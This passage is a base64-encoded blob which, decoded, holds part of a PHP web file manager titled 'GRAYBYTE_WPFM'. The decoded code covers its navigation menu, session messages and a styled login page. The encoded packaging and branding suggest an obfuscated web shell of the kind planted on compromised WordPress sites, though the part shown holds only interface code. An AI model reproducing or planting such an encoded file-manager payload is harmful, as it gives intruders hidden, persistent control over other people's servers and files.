CAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4